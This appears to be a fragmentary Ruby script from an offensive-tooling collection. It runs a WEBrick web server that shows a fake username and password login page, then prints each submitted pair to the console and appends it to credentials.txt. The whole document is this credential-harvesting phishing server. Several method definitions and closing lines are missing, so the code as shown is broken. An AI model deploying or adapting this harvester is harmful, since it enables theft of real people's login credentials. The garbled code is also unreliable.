# KING SABRI | @KINGSABRI
# Servlet: Is a Web Server with custom behavior class
# It's a subclass of WEBrick::HTTPServlet::AbstractServlet
class RubyfuServlet < WEBrick::HTTPServlet::AbstractServlet
# Control 'GET' request/response
res['Content-Type'] = "text/html; charset=UTF-8"
res['Server'] = "Rubyfu WebServer"
res['Cache-Control'] = "no-store, no-cache,"
res.body = print_login(req)
<table cellpadding="3" border="1">
<tr><td colspan="2"><center><h4><b>Enter your Username and Password</b></h4></center></td></tr>
<form method="POST" action="/login">
<tr><td><strong><b>Username:</b></strong></td><td><input name="username" type="text"></td></tr>
<tr><td><strong><b>Password:</b></strong></td><td><input name="password" type="password"></td></tr>
<tr><td colspan="2"><center><h1><b><input type="submit" value="Login" /></b></h1></center></td></tr>
class Login < WEBrick::HTTPServlet::AbstractServlet
# Control 'POST' request/response
status, content_type, body = save_login(req)
username, password = req.query['username'], req.query['password']
if !(username && password).empty?
# Print Credentials to console
puts "\n-----[ START OF POST ]-----"
puts "[+] #{username}:#{password}"
puts "-----[ END OF POST ]-----\n\n"
# Write Credentials to file
File.open("credentials.txt", '+a') {|f| f.puts "#{username}:#{password}"}
return 200, 'text/plain', 'Success! Thank you.'
puts "[!] Empty username and password."
return 404, 'text/plain', 'Wrong username or password!'
puts "[+] Starting HTTP server on port: #{port}\n"
server = WEBrick::HTTPServer.new(ServerName: "Rubyfu HTTP Server",
Logger: WEBrick::Log.new(File.open(File::NULL, 'w'))
server.mount("/", RubyfuServlet)
server.mount("/login", Login)
trap "INT" do server.shutdown end
puts "ruby #{__FILE__} <WEB_SERVER_PORT>" if ARGV.size < 1